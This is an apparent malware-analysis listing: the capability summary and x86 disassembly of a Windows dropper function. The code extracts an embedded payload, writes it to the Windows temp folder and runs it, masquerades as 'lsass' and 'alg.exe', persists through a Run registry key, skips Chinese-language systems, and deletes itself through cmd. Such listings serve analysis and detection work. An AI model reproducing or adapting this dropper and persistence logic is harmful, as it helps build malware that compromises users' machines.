Function at 0x401000
Capabilities:
Accept command line arguments
Check if file exists
Copy file
Create process on windows
Delete file
Get common file path
Get file attributes
Get file size
Move file
Persist via run registry key
Query environment variable
Query or enumerate registry value
Read file on windows
Self delete
Set registry value
Write and execute a file
Write file on windows

Disassembly:
push 0x400
push 0x40549c
push 0
call sub.kernel32.dll_GetModuleFileNameA
push 0x40549c
push 0x40589c
call sub.kernel32.dll_lstrcpyA
push 0x40589c
call sub.kernel32.dll_lstrlenA
mov edi, eax
mov ecx, eax
sub edi, 1
lea eax, [edi + 0x40589c]
mov ebx, dword [eax]
cmp bl, 0x5c
jne 0x401047
mov byte [edi + 0x40589c], 0
jmp 0x401049
loop 0x40102e
push 0x40549c
call sub.kernel32.dll_lstrlenA
sub eax, edi
mov ecx, eax
mov esi, 0
sub esi, 1
add edi, 1
add esi, 1
lea eax, [edi + 0x40589c]
lea ebx, [esi + 0x405190]
mov edx, dword [eax]
or dl, dl
je 0x40107d
mov byte [esi + 0x405190], dl
loop 0x40105f
push 0x400
push 0x40549c
push 0
call sub.kernel32.dll_GetModuleFileNameA
push 0
push 0x20
push 3
push 0
push 1
push 0x80000000
push 0x40549c
call sub.kernel32.dll_CreateFileA
mov dword [0x4062d0], eax
push 0
push 0
push 0x20
push dword [0x4062d0]
call sub.kernel32.dll_SetFilePointer
push 0
push 0x4062cc
push 4
push 0x4062c4
push dword [0x4062d0]
call sub.kernel32.dll_ReadFile
mov eax, dword [0x4062c4]
or eax, eax
je 0x4013c5
push dword [0x4062c4]
push 0x40
call sub.kernel32.dll_GlobalAlloc
mov dword [0x4062d8], eax
push 0
push dword [0x4062d0]
call sub.kernel32.dll_GetFileSize
sub eax, dword [0x4062c4]
mov dword [0x4062c8], eax
push dword [0x4062c8]
push 0x40
call sub.kernel32.dll_GlobalAlloc
mov dword [0x4062dc], eax
push 0
push 0
push dword [0x4062c8]
push dword [0x4062d0]
call sub.kernel32.dll_SetFilePointer
push 0
push 0x4062cc
push dword [0x4062c4]
push dword [0x4062d8]
push dword [0x4062d0]
call sub.kernel32.dll_ReadFile
push 0
push 0
push 0
push dword [0x4062d0]
call sub.kernel32.dll_SetFilePointer
push 0
push 0x4062cc
push dword [0x4062c8]
push dword [0x4062dc]
push dword [0x4062d0]
call sub.kernel32.dll_ReadFile
push 0x104
push 0x4059a0
call sub.kernel32.dll_GetWindowsDirectoryA
push 0x405034
push 0x4059a0
call sub.kernel32.dll_lstrcatA
push 0x4059a0
push 0x405ba8
call sub.kernel32.dll_lstrcpyA
push str.temp
push 0x4059a0
call sub.kernel32.dll_lstrcatA
push 0x4059a0
push 0x405aa4
call sub.kernel32.dll_lstrcpyA
push 0x405034
push 0x405aa4
call sub.kernel32.dll_lstrcatA
push 0x405aa4
call sub.dbghelp.dll_MakeSureDirectoryPathExists
or eax, eax
jne 0x401229
push 0x104
push 0x4066e0
push str.ComSpec
call sub.kernel32.dll_GetEnvironmentVariableA
push str.__c_md
push 0x4066e0
call sub.kernel32.dll_lstrcatA
push 0x4059a0
push 0x4066e0
call sub.kernel32.dll_lstrcatA
push 0
push 0x4066e0
call sub.kernel32.dll_WinExec
push 0x405034
push 0x4059a0
call sub.kernel32.dll_lstrcatA
push 0x405190
push 0x4059a0
call sub.kernel32.dll_lstrcatA
push 0
push 0x20
push 2
push 0
push 3
push 0xc0000000
push 0x4059a0
call sub.kernel32.dll_CreateFileA
mov dword [0x4062d4], eax
push 0
push 0x4062cc
push dword [0x4062c4]
push dword [0x4062d8]
push dword [0x4062d4]
call sub.kernel32.dll_WriteFile
push dword [0x4062d4]
call sub.kernel32.dll_CloseHandle
push 0xa
push 0
push 0
push 0x4059a0
push 0
push 0
call sub.shell32.dll_ShellExecuteA
push 0x4068f4
push 0x20019
push 0
push 0x40507a
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
push 0x104
pop dword [0x4068f8]
push 0x4068f8
push 0x405294
push 0x4068fc
push 0
push str.lsass
push dword [0x4068f4]
call sub.advapi32.dll_RegQueryValueExA
push 0x405294
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x401308
push dword [0x4068f4]
call sub.advapi32.dll_RegCloseKey
jmp 0x4013a8
push str.alg.exe
push 0x405ba8
call sub.kernel32.dll_lstrcatA
push 0
push 0x20
push 2
push 0
push 3
push 0x40000000
push str.c:lsass.aaa
call sub.kernel32.dll_CreateFileA
mov dword [0x4062d4], eax
push edi
mov edi, dword [0x4062dc]
mov word [edi + 0x20], 0
mov word [edi + 0x22], 0
mov word [edi + 0xda], 0xc05
pop edi
push 0
push 0x4062cc
push dword [0x4062c8]
push dword [0x4062dc]
push dword [0x4062d4]
call sub.kernel32.dll_WriteFile
push dword [0x4062d4]
call sub.kernel32.dll_CloseHandle
push 0x405ba8
call sub.kernel32.dll_DeleteFileA
push 0x405ba8
push str.c:lsass.aaa
call sub.kernel32.dll_MoveFileA
push 0
push 0
push 0
push 0x405ba8
push 0
push 0
call sub.shell32.dll_ShellExecuteA
push dword [0x4062c4]
call sub.kernel32.dll_GlobalFree
push dword [0x4062d0]
call sub.kernel32.dll_CloseHandle
push 0
call sub.kernel32.dll_ExitProcess
push dword [0x4062d0]
call sub.kernel32.dll_CloseHandle
push 0x40589c
push 0x405fb8
call sub.kernel32.dll_lstrcpyA
push 0x104
push 0x4060bc
call sub.kernel32.dll_GetWindowsDirectoryA
push 0x405fb8
call sub.user32.dll_CharLowerA
push eax
push 0x405fb8
call sub.kernel32.dll_lstrcpyA
push 0x4060bc
call sub.user32.dll_CharLowerA
push eax
push 0x4060bc
call sub.kernel32.dll_lstrcpyA
push 0x4060bc
push 0x405fb8
call sub.kernel32.dll_lstrcmpA
or eax, eax
je 0x401556
push 0x400
push 0x40549c
push 0
call sub.kernel32.dll_GetModuleFileNameA
push 0x4060bc
push 0x4061c0
call sub.kernel32.dll_lstrcpyA
push 0x405034
push 0x4061c0
call sub.kernel32.dll_lstrcatA
push str.alg.exe
push 0x4061c0
call sub.kernel32.dll_lstrcatA
push str.c:lsass.aaa
call sub.kernel32.dll_DeleteFileA
push 0
push str.c:lsass.aaa
push 0x40549c
call sub.kernel32.dll_CopyFileA
push 0x4061c0
call sub.kernel32.dll_DeleteFileA
push 0x4061c0
push str.c:lsass.aaa
call sub.kernel32.dll_MoveFileA
push 0x400
push 0x4062e0
push str.ComSpec
call sub.kernel32.dll_GetEnvironmentVariableA
push str.__c
push 0x4062e0
call sub.kernel32.dll_lstrcatA
push 0x4061c0
push 0x4062e0
call sub.kernel32.dll_lstrcatA
push 0
push 0x4062e0
call sub.kernel32.dll_WinExec
push str.c:lsass.aaa
call sub.kernel32.dll_DeleteFileA
push 0x104
push 0x4061c0
push 0x40549c
call sub.kernel32.dll_GetShortPathNameA
push 0x400
push 0x4062e0
push str.ComSpec
call sub.kernel32.dll_GetEnvironmentVariableA
push str.__c_del
push 0x4062e0
call sub.kernel32.dll_lstrcatA
push 0x4061c0
push 0x4062e0
call sub.kernel32.dll_lstrcatA
push str.___nul
push 0x4062e0
call sub.kernel32.dll_lstrcatA
push 0
push 0x4062e0
call sub.kernel32.dll_WinExec
push 0
call sub.kernel32.dll_ExitProcess
jmp fcn.00401687
call sub.kernel32.dll_GetSystemDefaultLangID
cmp eax, 0x804
je 0x401680
push 0x4068e8
push 0x40507a
push 0x80000002
call sub.advapi32.dll_RegCreateKeyA
push 0x4068e8
push 0x20006
push 0
push 0x40507a
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
push 0x104
push 0x4066e0
push str.ComSpec
call sub.kernel32.dll_GetEnvironmentVariableA
push str.__c_del
push 0x4066e0
call sub.kernel32.dll_lstrcatA
push 0x104
push 0x4059a0
call sub.kernel32.dll_GetWindowsDirectoryA
push 0x405034
push 0x4059a0
call sub.kernel32.dll_lstrcatA
push str.temp
push 0x4059a0
call sub.kernel32.dll_lstrcatA
push 0x405034
push 0x4059a0
call sub.kernel32.dll_lstrcatA
push str..__q__s
push 0x4059a0
call sub.kernel32.dll_lstrcatA
push 0x4059a0
push 0x4066e0
call sub.kernel32.dll_lstrcatA
push 0
push 0x4066e0
call sub.kernel32.dll_WinExec
push 0x400
push 0x40549c
push 0
call sub.kernel32.dll_GetModuleFileNameA
push 0x104
push 0x40549c
push 1
push 0
push str.lsass
push dword [0x4068e8]
call sub.advapi32.dll_RegSetValueExA
push 0
call sub.kernel32.dll_GetModuleHandleA
mov dword [0x405180], eax
call sub.kernel32.dll_GetCommandLineA
mov dword [0x405184], eax
push 0xa
push dword [0x405184]
push 0
push dword [0x405180]
call fcn.00402b23
push eax
call sub.kernel32.dll_ExitProcess
jmp fcn.00401687
push 0
call sub.kernel32.dll_ExitProcess